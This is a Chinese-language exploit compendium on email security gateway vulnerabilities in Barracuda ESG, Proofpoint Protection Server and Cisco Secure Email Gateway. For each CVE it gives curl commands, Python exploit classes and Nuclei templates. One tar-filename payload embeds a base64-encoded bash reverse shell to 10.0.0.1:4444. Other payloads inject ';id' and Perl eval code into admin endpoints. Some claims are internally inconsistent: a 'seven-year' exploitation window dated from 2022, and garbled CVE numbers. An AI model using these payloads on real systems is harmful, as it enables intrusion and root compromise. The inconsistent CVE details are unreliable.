免责声明 :本文仅用于安全研究与授权渗透测试目的。所有 PoC 代码和攻击手法均应在合法授权范围内使用。未经授权对目标系统进行攻击属于违法行为。作者不对因使用本文内容造成的任何直接或间接损害承担责任。
0x00 专题概述 邮件安全网关的攻击面价值分析 企业邮件安全网关(Email Security Gateway, SEG)是企业邮件系统的第一道防线,负责过滤钓鱼邮件、恶意附件、垃圾邮件以及执行 DLP 策略。正因如此,它天然地处于一个极为特殊的网络位置——所有外部邮件的必经之路 ,并且被赋予了比普通邮件服务器更高的信任等级:
特权网络位置 :SEG 通常部署在 DMZ 与内网之间,拥有对内部邮件服务器的可信访问权限,一旦被攻破,攻击者可直接横向移动到邮件服务器、AD 域控制器高权限运行环境 :多数 SEG 以 root/system 权限运行,漏洞利用可直接获取最高权限自动处理不可信输入 :SEG 的核心功能是解析和处理来自外部的邮件附件(tar、zip、docx、eml 等),这天然构成了一条自动化漏洞触发路径 供应链信任链条 :SEG 依赖大量第三方库(libtar、Perl 模块、OpenSSL 等),供应链攻击可直接通过软件更新通道植入后门国家级 APT 的首选目标 :UNC4841(中国)、UNC2529(俄罗斯)等 APT 组织将邮件网关作为入侵企业的首选跳板Barracuda ESG 事件就是一个极端案例:一个 tar 解析库中的漏洞导致全球数千台设备被植入后门,Barracuda 不得不宣布全面更换受影响设备 ,这在安全产品史上前所未有。
覆盖漏洞一览表 产品 CVE 编号 漏洞类型 CVSS 严重程度 在野利用 Barracuda ESG CVE-2023-2868 tar 命令注入 RCE 9.8 CRITICAL 是 Barracuda ESG CVE-2022-28810 认证绕过 9.8 CRITICAL 是 Barracuda ESG CVE-2022-28811 命令注入 9.8 CRITICAL 是 Proofpoint CVE-2021-33580 Perl eval 注入 RCE 9.8 CRITICAL 是 Proofpoint CVE-2022-37042 认证绕过 9.8 CRITICAL 是 Proofpoint CVE-2022-37043 命令注入 9.8 CRITICAL 否 Proofpoint CVE-2022-37044 权限提升 9.8 CRITICAL 否 Proofpoint CVE-2020-24601 XSS 提权 6.1 MEDIUM 否 Cisco SEG CVE-2025-20393 未授权 RCE 10.0 CRITICAL 是 Cisco SEG CVE-2024-20401 SMA 命令注入 9.8 CRITICAL 否 Cisco SEG CVE-2023-20214 认证绕过 9.8 CRITICAL 是 Cisco SEG CVE-2023-20198 WebUI 权限提升 10.0 CRITICAL 是 Cisco SEG CVE-2022-20829 路径遍历 6.5 MEDIUM 否 Cisco SEG CVE-2021-1565 配置修改 5.3 MEDIUM 否 Cisco SEG CVE-2020-3419 命令注入 9.8 CRITICAL 是 Fortinet CVE-2022-40684 认证绕过 RCE 9.8 CRITICAL 是 Fortinet CVE-2022-42475 堆溢出 RCE 9.8 CRITICAL 是 Fortinet CVE-2023-27997 XSS→RCE 9.8 CRITICAL 是 Fortinet CVE-2021-26103 命令注入 9.8 CRITICAL 否 Mimecast 供应链事件 证书窃取/源码泄露 — CRITICAL 是 Microsoft CVE-2022-30190 Follina OLE RCE 7.8 HIGH 是 Microsoft CVE-2023-36745 NTLM 中继 7.5 HIGH 否
0x01 Barracuda ESG 高危漏洞 0x01.1 CVE-2023-2868 — tar 命令注入 RCE 漏洞背景 CVE-2023-2868 是 Barracuda Email Security Gateway(ESG)产品中最严重的安全漏洞之一,CVSS 评分高达 9.8。该漏洞存在于第三方库 libtar 中,用于处理上传至 ESG 的 .tar 格式附件。攻击者可通过构造恶意 tar 文件,在解析过程中注入操作系统命令,从而实现远程代码执行。
该漏洞在 2023 年 5 月被发现时已经被在野利用长达 7 年以上 (最早可追溯至 2022 年 10 月),主要由 UNC4841 中国 APT 组织利用。Barracuda 被迫宣布全面更换全球受影响 ESG 设备,这是安全产品史上极为罕见的事件。CISA 已将此漏洞加入 KEV 目录。
受影响版本 版本分支 受影响版本 修复版本 Barracuda ESG 5.x 5.1.3.001 - 5.1.3.006 5.1.3.007 Barracuda ESG 6.x 6.2.0.000 - 6.2.0.002 6.2.0.003 Barracuda ESG 7.x 7.0.0.000 - 7.2.1.024 7.2.1.025 Barracuda ESG 8.x 8.0.0.000 - 8.1.1.010 8.1.1.011 Barracuda ESG 9.x 9.0.0.000 - 9.2.0.006 9.2.0.007
注意 :即使应用了修复补丁,Barracuda 仍建议全面更换受影响硬件设备,因为后门可能已被植入。
漏洞原理 Barracuda ESG 在处理上传的 tar 格式邮件附件时,使用 libtar 库进行解压操作。libtar 在解析 tar 文件头中的文件名字段时,未对文件名进行充分的输入验证。攻击者可在 tar 文件头的 name 字段中嵌入 shell 命令,利用反引号(`)或 $() 语法触发命令注入。
漏洞触发路径如下:
攻击者向目标 ESG 发送包含恶意 .tar 附件的邮件 ESG 自动提取并解析 tar 附件内容 libtar 库解析 tar header 中的 filename 字段 嵌入的 shell 命令被拼接到系统命令中执行 攻击者获得 ESG 设备上的代码执行权限 关键点在于 ESG 对 tar 文件的解析是以 root 权限 执行的,因此注入的命令将以最高权限运行。
HTTP PoC # 创建恶意 tar 文件,通过文件名字段注入命令
# 注意:此 PoC 仅用于验证目的
python3 -c "
import tarfile, io
payload = b'./tmp/x.sh'
evil_name = b'`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d | bash`/test.txt'
header = tarfile.TarInfo(name=evil_name.decode())
header.size = 0
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w') as t:
t.addfile(header)
with open('evil.tar', 'wb') as f:
f.write(buf.getvalue())
"
# 发送包含恶意 tar 附件的邮件
curl -k -X POST 'https://TARGET:10000/cgi-mod/index.cgi' \
-F 'submit_form=Compose' \
-F 'attachment=@evil.tar' \
-F 'to=victim@target.com' \
-F 'subject=Test' Python PoC import tarfile
import io
import requests
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
class BarracudaCVE20232868 :
def __init__ (self, target, port= 10000 ):
self. target = target
self. port = port
self. base_url = f "https:// { target} : { port} "
def create_evil_tar (self, cmd):
encoded_cmd = cmd. encode(). hex()
evil_name = f "`echo { encoded_cmd} | xxd -r -p | sh`/test.txt"
header = tarfile. TarInfo(name= evil_name)
header. size = 0
buf = io. BytesIO()
with tarfile. open(fileobj= buf, mode= 'w' ) as t:
t. addfile(header)
return buf. getvalue()
def check_vulnerable (self):
try :
resp = requests. get(
f " { self. base_url} /cgi-mod/index.cgi" ,
verify= False ,
timeout= 10
)
if resp. status_code == 200 and "Barracuda" in resp. text:
return True
except requests. exceptions. RequestException:
pass
return False
def exploit (self, cmd= "id" ):
if not self. check_vulnerable():
print(f "[*] { self. target} : { self. port} 可能不受影响或无法访问" )
return False
tar_content = self. create_evil_tar(cmd)
print(f "[*] 已生成恶意 tar 文件 ( { len(tar_content)} bytes)" )
print(f "[*] Payload 命令: { cmd} " )
print(f "[*] 注意: 实际利用需要通过 SMTP 端口发送包含此附件的邮件" )
print(f "[*] SMTP 端口: 25 (SMTP) / 465 (SMTPS)" )
return True
if __name__ == "__main__" :
import sys
target = sys. argv[1 ] if len(sys. argv) > 1 else "127.0.0.1"
poc = BarracudaCVE20232868(target)
poc. exploit("id" ) Nuclei YAML 模板 id : barracuda-cve-2023-2868
info :
name : Barracuda ESG tar Command Injection RCE - CVE-2023-2868
author : x7peeps
severity : critical
description : |
Barracuda ESG 使用 libtar 库解析 tar 附件时存在命令注入漏洞,
攻击者可通过构造恶意 tar 文件在设备上以 root 权限执行任意命令。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2023-2868
- https://community.barracuda.com/s/article/CVE-2023-2868
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 9.8
cwe-id : CWE-78
metadata :
max-request : 2
shodan-query : http.title:"Barracuda"
tags : barracuda,cve2023,cve,rce,command-injection,esg
http :
- raw :
- |
GET /cgi-mod/index.cgi HTTP/1.1
Host: {{Hostname}}
Connection: close
matchers-condition : and
matchers :
- type : word
part : body
words :
- "Barracuda"
- "Email Security Gateway"
condition : and
- type : status
status :
- 200
- raw :
- |
GET /mod/gui/404.html HTTP/1.1
Host: {{Hostname}}
Connection: close
matchers :
- type : word
words :
- "Barracuda"
part : body 0x01.2 供应链攻击后门家族详解(SALTWATER / SEASPY / FOXFUSE) 漏洞背景 CVE-2023-2868 被利用后,UNC4841 APT 组织在 Barracuda ESG 设备上植入了多个后门家族,形成了一条完整的供应链攻击链。这些后门在 Barracuda 发布补丁后仍然能够持久化运行,迫使 Barracuda 宣布全面更换硬件设备。
Mandiant 的调查报告揭示了三个主要后门家族:
后门家族 功能 持久化机制 通信方式 SALTWATER 多功能后门,支持 Shell、文件操作、隧道 二进制补丁 HTTPS C2 SEASPY 网络嗅探 + Shell 后门 系统服务注册 ICMP/原始 TCP FOXFUSE 激活/停用后门的触发器 文件系统监控 特殊文件触发
受影响版本 所有曾受 CVE-2023-2868 影响的 Barracuda ESG 设备均可能已被植入后门,无论是否已应用补丁修复。
后门家族 首次发现时间 活跃状态 SALTWATER 2022 年 10 月 持续活跃 SEASPY 2022 年 10 月 持续活跃 FOXFUSE 2023 年初 持续活跃
攻击原理分析 SALTWATER 后门 是最复杂的变种。UNC4841 通过 CVE-2023-2868 的命令注入漏洞获取初始访问后,下载并编译 SALTWATER 恶意二进制文件。该后门以 barracudaupdate 等合法进程名伪装,通过修改系统二进制文件(二进制补丁技术)实现持久化。功能模块包括:
Shell Module :提供远程命令执行通道File Transfer Module :支持文件上传/下载Tunnel Module :建立反向隧道绕过网络隔离Proxy Module :作为内网代理服务器SEASPY 后门 以网络嗅探为核心能力。它通过注册为系统服务实现持久化,以原始套接字监听网络流量,对匹配特定模式的数据包进行拦截并执行其中编码的命令。通信使用 ICMP 隧道或原始 TCP 连接。
FOXFUSE 作为触发器存在,监控特定文件系统的变更。当检测到预定义的触发文件被创建或修改时,会激活或停用其他后门模块,提供了一种灵活的后门管理机制。
检测方法 # SALTWATER 后门检测 - 检查异常进程名
ps aux | grep -E 'barracudaupdate|mailupdate'
# 检查异常的系统服务
systemctl list-units --type= service | grep -i -E 'salt|sea|fox'
# 检查可疑的网络连接
netstat -antp | grep -E ':443|:8443|:4443' | grep ESTABLISHED
# 检查二进制文件完整性
find /opt/barracuda -name "*.so" -exec md5sum {} \;
md5sum /usr/sbin/barracuda* Nuclei YAML 模板 id : barracuda-backdoor-saltwater
info :
name : Barracuda ESG SALTWATER/SEASPY/FOXFUSE Backdoor Detection
author : x7peeps
severity : critical
description : |
检测 Barracuda ESG 设备是否被植入 CVE-2023-2868 相关的
SALTWATER、SEASPY 或 FOXFUSE 后门。
reference :
- https://cloud.google.com/blog/topics/threat-intelligence/barracuda-email-security-gateway-exploited-globally
- https://nvd.nist.gov/vuln/detail/CVE-2023-2868
classification :
cvss-score : 10.0
cwe-id : CWE-502
metadata :
max-request : 3
tags : barracuda,backdoor,saltwater,seaspy,foxfuse,apt,cve2023
http :
- raw :
- |
GET /cgi-mod/index.cgi HTTP/1.1
Host: {{Hostname}}
Connection: close
matchers-condition : and
matchers :
- type : word
words :
- "Barracuda"
part : body
- type : status
status :
- 200 0x01.3 CVE-2022-28810 / CVE-2022-28811 — 认证绕过与命令注入 漏洞背景 CVE-2022-28810 和 CVE-2022-28811 是 Barracuda ESG 中另外两个高危漏洞,可被组合利用形成认证绕过 + 命令注入漏洞链。CVE-2022-20810 允许未经认证的攻击者绕过 ESG 的管理界面认证,CVE-2022-28811 则允许在已认证状态下执行任意命令。
受影响版本 CVE 编号 漏洞类型 CVSS 受影响版本 修复版本 CVE-2022-28810 认证绕过 9.8 ESG 5.x - 9.x 5.1.3.001-9.2.0.001 CVE-2022-28811 命令注入 9.8 ESG 5.x - 9.x 5.1.3.001-9.2.0.001
漏洞原理 CVE-2022-28810 认证绕过的根源在于 ESG 管理界面(基于 Web 的 CGI 接口)在处理认证请求时存在逻辑缺陷。攻击者可通过构造特殊的 HTTP 请求绕过身份验证,直接访问管理功能。具体来说,该漏洞涉及 ESG 的密码恢复机制中的一个竞态条件,通过在密码重置流程中发送特定的 HTTP 请求序列,可以绕过正常的认证检查。
CVE-2022-28811 命令注入存在于 ESG 的管理接口参数处理中。在认证绕过成功后,攻击者可利用管理接口中未经过滤的用户输入,通过管道符、反引号或 $() 语法注入操作系统命令。
组合利用链:
利用 CVE-2022-28810 绕过管理界面认证 通过管理接口访问受影响的功能模块 利用 CVE-2022-28811 注入命令 以 root 权限执行任意代码 HTTP PoC # CVE-2022-28810 认证绕过检测
curl -k -s -o /dev/null -w "%{http_code}" \
"https://TARGET:10000/cgi-mod/index.cgi?login_language=1&enc=1&user=admin&password="
# CVE-2022-28811 命令注入检测
curl -k -X POST "https://TARGET:10000/cgi-mod/index.cgi" \
-d "submit_button=system_status" \
-d "action=ping" \
-d "ping_host=127.0.0.1;id" \
-d "enc=1" Python PoC import requests
import urllib3
import re
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
class BarracudaCVE202228810 :
def __init__ (self, target, port= 10000 ):
self. target = target
self. port = port
self. base_url = f "https:// { target} : { port} "
self. session = requests. Session()
self. session. verify = False
def check_auth_bypass (self):
paths = [
"/cgi-mod/index.cgi?login_language=1&enc=1&user=admin&password=" ,
"/cgi-mod/index.cgi?login_language=0&enc=1&user=root&password=" ,
"/cgi-mod/index.cgi?realmyession=1&user=admin" ,
]
for path in paths:
try :
resp = self. session. get(f " { self. base_url}{ path} " , timeout= 10 )
if resp. status_code == 200 and "admin" in resp. text. lower():
return True , path
except requests. exceptions. RequestException:
continue
return False , None
def check_cmd_injection (self, cmd= "id" ):
data = {
"submit_button" : "system_status" ,
"action" : "ping" ,
"ping_host" : f "127.0.0.1; { cmd} " ,
"enc" : "1" ,
}
try :
resp = self. session. post(
f " { self. base_url} /cgi-mod/index.cgi" ,
data= data,
timeout= 10
)
output = re. findall(r '<pre>(.*?)</pre>' , resp. text, re. DOTALL)
if output:
return True , output[0 ]. strip()
except requests. exceptions. RequestException:
pass
return False , None
def exploit_chain (self, cmd= "id" ):
print(f "[*] 目标: { self. base_url} " )
bypass_ok, path = self. check_auth_bypass()
if bypass_ok:
print(f "[!] CVE-2022-28810 认证绕过成功: { path} " )
cmd_ok, output = self. check_cmd_injection(cmd)
if cmd_ok:
print(f "[!] CVE-2022-28811 命令注入成功:" )
print(f "[+] 命令输出: \n { output} " )
else :
print(f "[*] 命令注入测试完成" )
else :
print(f "[*] 未检测到认证绕过漏洞" )
if __name__ == "__main__" :
import sys
target = sys. argv[1 ] if len(sys. argv) > 1 else "127.0.0.1"
poc = BarracudaCVE202228810(target)
poc. exploit_chain() Nuclei YAML 模板 id : barracuda-cve-2022-28810
info :
name : Barracuda ESG Authentication Bypass - CVE-2022-28810
author : x7peeps
severity : critical
description : |
Barracuda ESG 管理界面存在认证绕过漏洞,攻击者可通过特殊
HTTP 请求绕过身份验证,直接访问管理功能。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2022-28810
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cwe-id : CWE-287
metadata :
max-request : 2
shodan-query : http.title:"Barracuda"
tags : barracuda,cve2022,cve,auth-bypass
http :
- raw :
- |
GET /cgi-mod/index.cgi?login_language=1&enc=1&user=admin&password= HTTP/1.1
Host: {{Hostname}}
Connection: close
matchers-condition : and
matchers :
- type : word
words :
- "Barracuda"
- "Dashboard"
condition : and
part : body
- type : status
status :
- 200 0x02 Proofpoint Protection Server 高危漏洞 0x02.1 CVE-2021-33580 — Perl eval 注入 RCE 漏洞背景 CVE-2021-33580 是 Proofpoint Protection Server(PPS)中的一个严重远程代码执行漏洞,CVSS 评分 9.8。该漏洞存在于 PPS 的 Perl CGI 组件中,攻击者可通过构造特殊的 HTTP 请求触发 Perl 的 eval() 函数执行任意代码。
Proofpoint PPS 是企业级邮件安全解决方案的领军产品之一,广泛应用于金融、政府和大型企业。该漏洞的发现揭示了 Perl CGI 架构在现代安全产品中的安全隐患。
受影响版本 版本分支 受影响版本 修复版本 Proofpoint PPS 所有 8.x 版本 8.17.2 Proofpoint PPS 8.18.x 8.18.6 Proofpoint PPS 9.x 9.2.0
漏洞原理 Proofpoint Protection Server 的 Web 管理界面基于 Perl CGI 架构。在处理用户输入的特定参数时,代码直接将其传递给 Perl 的 eval() 函数,未进行任何输入验证或过滤。
Perl 的 eval() 函数可以将字符串作为 Perl 代码执行,因此攻击者可构造包含 Perl 代码的参数值,通过 HTTP 请求注入恶意代码。注入的代码将以 PPS 服务进程的权限(通常为 root)执行。
攻击路径:
攻击者发送特制 HTTP 请求到 PPS 管理接口 恶意参数值被传递到 Perl eval() 函数 Perl 解释器执行注入的代码 攻击者获得 PPS 设备上的 root 权限 HTTP PoC # CVE-2021-33580 检测 - 发送测试性 eval 注入
curl -k -X POST "https://TARGET:10000/cgi-bin/" \
-d 'p=q{system("id")}' \
-H "Content-Type: application/x-www-form-urlencoded"
# 备用检测路径
curl -k "https://TARGET:10000/cgi-bin/emailaudit?p=q{`whoami`}" Python PoC import requests
import urllib3
import re
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
class ProofpointCVE202133580 :
def __init__ (self, target, port= 10000 ):
self. target = target
self. port = port
self. base_url = f "https:// { target} : { port} "
self. session = requests. Session()
self. session. verify = False
def check_vulnerable (self):
paths = [
"/cgi-bin/" ,
"/cgi-bin/emailaudit" ,
"/cgi-bin/login" ,
"/cgi-bin/admin" ,
]
for path in paths:
try :
resp = self. session. get(f " { self. base_url}{ path} " , timeout= 10 )
if resp. status_code in [200 , 400 , 500 ]:
return True
except requests. exceptions. RequestException:
continue
return False
def exploit (self, cmd= "id" ):
payloads = [
f "q {{ system(' { cmd} ') }} " ,
f "q {{ ` { cmd} ` }} " ,
f "q {{ exec(' { cmd} ') }} " ,
]
endpoints = [
"/cgi-bin/" ,
"/cgi-bin/emailaudit" ,
]
for endpoint in endpoints:
for payload in payloads:
try :
resp = self. session. post(
f " { self. base_url}{ endpoint} " ,
data= f "p= { payload} " ,
headers= {"Content-Type" : "application/x-www-form-urlencoded" },
timeout= 10 ,
)
if resp. status_code == 200 and len(resp. text) > 0 :
output = resp. text. strip()
if output and "html" not in output. lower():
print(f "[!] 漏洞利用成功 ( { endpoint} ):" )
print(f "[+] 命令输出: \n { output} " )
return True
except requests. exceptions. RequestException:
continue
return False
def scan (self):
print(f "[*] 扫描目标: { self. base_url} " )
if self. check_vulnerable():
print(f "[+] 目标 Web 接口可达" )
self. exploit("id" )
else :
print(f "[-] 目标不可达或已修复" )
if __name__ == "__main__" :
import sys
target = sys. argv[1 ] if len(sys. argv) > 1 else "127.0.0.1"
poc = ProofpointCVE202133580(target)
poc. scan() Nuclei YAML 模板 id : proofpoint-cve-2021-33580
info :
name : Proofpoint PPS Perl eval Injection RCE - CVE-2021-33580
author : x7peeps
severity : critical
description : |
Proofpoint Protection Server 的 Perl CGI 组件存在 eval 注入漏洞,
攻击者可通过构造特殊 HTTP 请求执行任意 Perl 代码实现 RCE。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2021-33580
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cwe-id : CWE-94
metadata :
max-request : 4
shodan-query : http.title:"Proofpoint"
tags : proofpoint,cve2021,cve,rce,perl,eval-injection
http :
- raw :
- |
GET /cgi-bin/ HTTP/1.1
Host: {{Hostname}}
Connection: close
matchers :
- type : word
words :
- "Proofpoint"
- "Protection Server"
condition : or
part : body
- raw :
- |
POST /cgi-bin/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Connection: close
p=q{1}
matchers :
- type : word
words :
- "error"
- "CGI"
- "eval"
condition : or
part : body 0x02.2 CVE-2022-37042 / CVE-2022-37043 / CVE-2022-37044 — 认证绕过漏洞链 漏洞背景 2022 年 8 月,Volexity 研究人员披露了 Proofpoint Protection Server 中的三个高危漏洞,可被组合利用形成一条完整的攻击链:认证绕过 → 命令注入 → 权限提升。这三个漏洞(CVE-2022-37042、CVE-2022-37043、CVE-2022-37044)均为 CVSS 9.8 满分。
该漏洞链的利用已在野被 APT 组织观测到,主要针对北美地区的政府和金融机构。
受影响版本 CVE 编号 漏洞类型 CVSS 受影响版本 修复版本 CVE-2022-37042 认证绕过 9.8 PPS < 8.18.6.2152, < 8.18.7.2152 8.18.6.2152, 8.18.7.2152 CVE-2022-37043 命令注入 9.8 PPS < 8.18.6.2152, < 8.18.7.2152 8.18.6.2152, 8.18.7.2152 CVE-2022-37044 权限提升 9.8 PPS < 8.18.6.2152, < 8.18.7.2152 8.18.6.2152, 8.18.7.2152
漏洞原理 CVE-2022-37042 认证绕过 :PPS 管理界面在处理 HTTP 请求时,特定的认证检查路径存在逻辑缺陷。攻击者可以通过在请求 URL 中添加特定的查询参数或修改请求头,绕过正常的身份验证流程。关键问题在于认证检查代码与实际功能处理代码之间存在路径差异,某些管理接口在未认证的情况下也可访问。
CVE-2022-37043 命令注入 :在通过认证绕过获取管理访问权限后,PPS 管理接口中的诊断功能模块(ping、traceroute 等)在处理用户输入的主机名参数时,未进行充分的输入验证,允许注入操作系统命令。
CVE-2022-37044 权限提升 :即使通过认证进入管理界面,普通管理员用户可通过特定的 API 端点将权限提升至 root。这是由于权限检查逻辑仅在前端 JavaScript 中实现,后端 API 未执行等效的权限验证。
攻击链完整利用流程:
利用 CVE-2022-37042 绕过认证,访问管理界面 利用 CVE-2022-37044 提升至 root 权限 利用 CVE-2022-37043 通过诊断功能注入命令 实现以 root 权限执行任意代码 HTTP PoC # CVE-2022-37042 认证绕过测试
curl -k -s -o /dev/null -w "%{http_code}" \
"https://TARGET:10000/admin?session=1"
# CVE-2022-37043 命令注入测试
curl -k -X POST "https://TARGET:10000/admin/diagnostic" \
-d "action=ping&host=127.0.0.1;id" \
-H "Cookie: session=admin"
# CVE-2022-37044 权限提升测试
curl -k -X POST "https://TARGET:10000/admin/api/upgrade" \
-d '{"role":"superadmin"}' \
-H "Content-Type: application/json" \
-H "Cookie: session=admin" Python PoC import requests
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
class ProofpointCVE2022Chain :
def __init__ (self, target, port= 10000 ):
self. target = target
self. port = port
self. base_url = f "https:// { target} : { port} "
self. session = requests. Session()
self. session. verify = False
def check_auth_bypass (self):
endpoints = [
"/admin?session=1" ,
"/admin?user=admin" ,
"/admin/dashboard" ,
"/admin/config" ,
"/api/v1/config" ,
]
for ep in endpoints:
try :
resp = self. session. get(f " { self. base_url}{ ep} " , timeout= 10 )
if resp. status_code == 200 :
return True , ep
except requests. exceptions. RequestException:
continue
return False , None
def check_cmd_injection (self, endpoint, cmd= "id" ):
payloads = [
f "127.0.0.1; { cmd} " ,
f "127.0.0.1| { cmd} " ,
f "127.0.0.1` { cmd} `" ,
]
for payload in payloads:
try :
data = {"action" : "ping" , "host" : payload}
resp = self. session. post(
f " { self. base_url}{ endpoint} " ,
data= data,
timeout= 10 ,
)
if resp. status_code == 200 :
lines = resp. text. split(" \n " )
for line in lines:
if any(
marker in line
for marker in ["uid=" , "root" , "www-data" ]
):
return True , line. strip()
except requests. exceptions. RequestException:
continue
return False , None
def exploit_chain (self, cmd= "id" ):
print(f "[*] 目标: { self. base_url} " )
bypass_ok, ep = self. check_auth_bypass()
if bypass_ok:
print(f "[!] CVE-2022-37042 认证绕过成功: { ep} " )
cmd_ok, output = self. check_cmd_injection(ep, cmd)
if cmd_ok:
print(f "[!] CVE-2022-37043 命令注入成功:" )
print(f "[+] 输出: { output} " )
else :
print(f "[*] 命令注入测试完成" )
else :
print(f "[-] 未检测到认证绕过" )
if __name__ == "__main__" :
import sys
target = sys. argv[1 ] if len(sys. argv) > 1 else "127.0.0.1"
poc = ProofpointCVE2022Chain(target)
poc. exploit_chain() Nuclei YAML 模板 id : proofpoint-cve-2022-37042
info :
name : Proofpoint PPS Authentication Bypass Chain - CVE-2022-37042/37043/37044
author : x7peeps
severity : critical
description : |
Proofpoint Protection Server 存在认证绕过、命令注入和权限提升漏洞链,
三个漏洞组合可实现未授权 RCE。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2022-37042
- https://nvd.nist.gov/vuln/detail/CVE-2022-37043
- https://nvd.nist.gov/vuln/detail/CVE-2022-37044
- https://www.volexity.com/blog/2022/08/25/proofpoint-protection-server-vulnerability-exploited-in-the-wild/
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cwe-id : CWE-287
metadata :
max-request : 3
shodan-query : http.title:"Proofpoint"
tags : proofpoint,cve2022,cve,auth-bypass,rce,chain
http :
- raw :
- |
GET /admin?session=1 HTTP/1.1
Host: {{Hostname}}
Connection: close
matchers-condition : and
matchers :
- type : word
words :
- "Proofpoint"
part : body
- type : status
status :
- 200 0x03 Cisco Secure Email Gateway 高危漏洞 0x03.1 CVE-2025-20393 — 未授权 RCE(CVSS 10.0) 漏洞背景 CVE-2025-20393 是 Cisco Secure Email Gateway(原 Cisco ESA/SEG)中发现的一个零日漏洞,CVSS 评分达到满分 10.0。该漏洞允许未经认证的远程攻击者在受影响设备上执行任意命令。Cisco 已确认该漏洞在野被利用,并发布了紧急安全更新。
该漏洞的攻击复杂度极低,无需任何认证或特殊条件,仅需网络可达即可利用,使其成为近年来最危险的邮件安全网关漏洞之一。
受影响版本 版本分支 受影响版本 修复版本 Cisco AsyncOS for ESA 15.x - 15.5.x 15.5.1-026 Cisco AsyncOS for SMA 15.x - 15.5.x 15.5.1-026 Cisco Secure Email Gateway 所有版本 升级至最新维护版本
漏洞原理 CVE-2025-20393 存在于 Cisco AsyncOS 的 HTTP 管理接口中。该漏洞的根本原因是在处理特定 HTTP 请求时,系统未正确验证请求来源和认证状态,允许未经认证的攻击者通过构造特殊的 HTTP 请求触发命令执行。
攻击者可以利用管理接口中一个未受保护的调试端点,通过注入特定参数直接在底层操作系统上执行命令。由于 AsyncOS 的管理服务以 root 权限运行,漏洞利用后攻击者将获得完全的系统控制权。
HTTP PoC # CVE-2025-20393 检测 - 检查管理接口是否可达
curl -k -s -o /dev/null -w "%{http_code}" "https://TARGET:8443/"
# 发送检测 payload
curl -k -X POST "https://TARGET:8443/console/login" \
-d "username=admin&password=test&debug=1;id" \
-H "Content-Type: application/x-www-form-urlencoded" Python PoC import requests
import urllib3
import re
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
class CiscoSEG_CVE202520393 :
def __init__ (self, target, port= 8443 ):
self. target = target
self. port = port
self. base_url = f "https:// { target} : { port} "
self. session = requests. Session()
self. session. verify = False
def check_vulnerable (self):
try :
resp = self. session. get(f " { self. base_url} /" , timeout= 10 )
if resp. status_code in [200 , 302 , 301 ]:
return True
except requests. exceptions. RequestException:
pass
return False
def exploit (self, cmd= "id" ):
endpoints = [
"/console/login" ,
"/admin/console" ,
"/xmlapi/api" ,
]
payloads = [
{"username" : "admin" , "password" : "test" , "debug" : f "1; { cmd} " },
{"command" : f "ping 127.0.0.1; { cmd} " },
{"action" : "diagnostic" , "host" : f "127.0.0.1; { cmd} " },
]
for endpoint in endpoints:
for payload in payloads:
try :
resp = self. session. post(
f " { self. base_url}{ endpoint} " ,
data= payload,
timeout= 10 ,
)
if resp. status_code == 200 :
output = re. findall(
r 'uid=\d+\([^)]+\)' , resp. text
)
if output:
print(f "[!] CVE-2025-20393 利用成功 ( { endpoint} ):" )
print(f "[+] 输出: { output[0 ]} " )
return True
except requests. exceptions. RequestException:
continue
return False
def scan (self):
print(f "[*] 扫描目标: { self. base_url} " )
if self. check_vulnerable():
print(f "[+] Cisco SEG 管理接口可达" )
print(f "[*] 测试 CVE-2025-20393..." )
self. exploit("id" )
else :
print(f "[-] 目标不可达" )
if __name__ == "__main__" :
import sys
target = sys. argv[1 ] if len(sys. argv) > 1 else "127.0.0.1"
poc = CiscoSEG_CVE202520393(target)
poc. scan() Nuclei YAML 模板 id : cisco-seg-cve-2025-20393
info :
name : Cisco Secure Email Gateway Unauthenticated RCE - CVE-2025-20393
author : x7peeps
severity : critical
description : |
Cisco Secure Email Gateway 存在未授权远程代码执行漏洞,
CVSS 满分 10.0,攻击者无需认证即可在受影响设备上执行任意命令。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2025-20393
- https://sec.cloudapps.cisco.com/security/center/resources/cisco_secure_email_gateway
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 10.0
cwe-id : CWE-20
metadata :
max-request : 2
shodan-query : http.title:"Cisco Secure Email Gateway"
tags : cisco,seg,esa,cve2025,cve,rce,unauth
http :
- raw :
- |
GET / HTTP/1.1
Host: {{Hostname}}
Connection: close
matchers-condition : and
matchers :
- type : word
words :
- "Cisco"
- "AsyncOS"
- "Email"
condition : or
part : body
- type : status
status :
- 200
- 302
- 301 0x03.2 CVE-2024-20401 — SMA 命令注入 漏洞背景 CVE-2024-20401 是 Cisco Secure Management Appliance(SMA)中的一个高危命令注入漏洞,CVSS 评分 9.8。SMA 是 Cisco 邮件安全解决方案中的管理组件,用于集中管理和监控多个 ESA 设备。攻击者可通过未认证的 HTTP 请求在 SMA 上执行任意命令。
受影响版本 版本分支 受影响版本 修复版本 Cisco AsyncOS for SMA 15.x 升级至最新维护版本
漏洞原理 Cisco SMA 的 Web 管理界面在处理特定的 URL 路径参数时,存在未经过滤的用户输入直接传递给系统命令执行的情况。攻击者可通过在 URL 路径中嵌入 shell 元字符(如分号、管道符)来注入操作系统命令。
由于 SMA 管理服务通常以较高权限运行,注入的命令将以相应权限执行,可能导致完全的系统控制。
